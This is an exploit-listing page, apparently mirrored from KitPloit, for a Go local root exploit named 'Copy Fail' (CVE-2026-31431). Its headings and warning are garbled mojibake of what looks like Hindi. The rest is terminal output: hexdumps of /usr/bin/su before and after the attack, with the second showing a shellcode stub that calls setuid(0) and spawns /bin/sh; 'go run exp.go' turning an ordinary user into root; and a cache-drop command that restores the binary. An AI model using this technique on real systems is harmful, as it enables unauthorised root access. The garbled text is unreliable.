## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CS8425-COPY-FAIL-GO
# Copy Fail - CVE-2026-31431 - golang рд╕рдВрд╕реНрдХрд░рдг
> **тЪая╕П рдЪреЗрддрд╛рд╡рдиреА: рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЕрддреНрдпрдВрдд рдЦрддрд░рдирд╛рдХ рдФрд░ рдкреНрд░рд╛рдпреЛрдЧрд┐рдХ рд╣реИред рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЛ рд╕рд╛рдл рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореИрдиреНрдпреБрдЕрд▓ рд╕рдлрд╛рдИ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЕрдкрдиреЗ рдЬреЛрдЦрд┐рдо рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ!**
рддрдХрдиреАрдХреА рд░рд╛рдЗрдЯрдЕрдк
рдореВрд▓ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА
## рдЪрд▓рд╛рдПрдВ
### рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ `/usr/bin/su` рдЬрд╛рдВрдЪреЗрдВ:
root@kitploit:~
user@pc:~$ hexdump -n 300 -x /usr/bin/su
0000000 457f 464c 0102 0001 0000 0000 0000 0000
0000010 0003 003e 0001 0000 44d0 0000 0000 0000
0000020 0040 0000 0000 0000 d1c0 0000 0000 0000
0000030 0000 0000 0040 0038 000d 0040 001f 001e
0000040 0006 0000 0004 0000 0040 0000 0000 0000
0000050 0040 0000 0000 0000 0040 0000 0000 0000
0000060 02d8 0000 0000 0000 02d8 0000 0000 0000
0000070 0008 0000 0000 0000 0003 0000 0004 0000
0000080 0318 0000 0000 0000 0318 0000 0000 0000
0000090 0318 0000 0000 0000 001c 0000 0000 0000
00000a0 001c 0000 0000 0000 0001 0000 0000 0000
00000b0 0001 0000 0004 0000 0000 0000 0000 0000
00000c0 0000 0000 0000 0000 0000 0000 0000 0000
00000d0 2608 0000 0000 0000 2608 0000 0000 0000
00000e0 1000 0000 0000 0000 0001 0000 0005 0000
00000f0 3000 0000 0000 0000 3000 0000 0000 0000
0000100 3000 0000 0000 0000 6eb1 0000 0000 0000
0000110 6eb1 0000 0000 0000 1000 0000 0000 0000
0000120 0001 0000 0004 0000 a000 0000
000012c
### exp.go рдЪрд▓рд╛рдПрдВ:
root@kitploit:~
user@pc:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker)
user@pc:~$ go run exp.go
# id
uid=0(root) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker)
#
### рдЪрд▓рд╛рдиреЗ рдХреЗ рдмрд╛рдж `/usr/bin/su` рдЬрд╛рдВрдЪреЗрдВ:
root@kitploit:~
user@pc:~$ hexdump -n 300 -x /usr/bin/su
0000000 457f 464c 0102 0001 0000 0000 0000 0000
0000010 0002 003e 0001 0000 0078 0040 0000 0000
0000020 0040 0000 0000 0000 0000 0000 0000 0000
0000030 0000 0000 0040 0038 0001 0000 0000 0000
0000040 0001 0000 0005 0000 0000 0000 0000 0000
0000050 0000 0040 0000 0000 0000 0040 0000 0000
0000060 009e 0000 0000 0000 009e 0000 0000 0000
0000070 1000 0000 0000 0000 c031 ff31 69b0 050f
0000080 8d48 0f3d 0000 3100 6af6 583b 0f99 3105
0000090 6aff 583c 050f 622f 6e69 732f 0068 0000
00000a0 001c 0000 0000 0000 0001 0000 0000 0000
00000b0 0001 0000 0004 0000 0000 0000 0000 0000
00000c0 0000 0000 0000 0000 0000 0000 0000 0000
00000d0 2608 0000 0000 0000 2608 0000 0000 0000
00000e0 1000 0000 0000 0000 0001 0000 0005 0000
00000f0 3000 0000 0000 0000 3000 0000 0000 0000
0000100 3000 0000 0000 0000 6eb1 0000 0000 0000
0000110 6eb1 0000 0000 0000 1000 0000 0000 0000
0000120 0001 0000 0004 0000 a000 0000
000012c
### рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ
рд░реВрдЯ рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдпрд╛ рд░рд┐рдмреВрдЯ рдХрд░реЗрдВ
root@kitploit:~
root@pc:~# echo 3 > /proc/sys/vm/drop_caches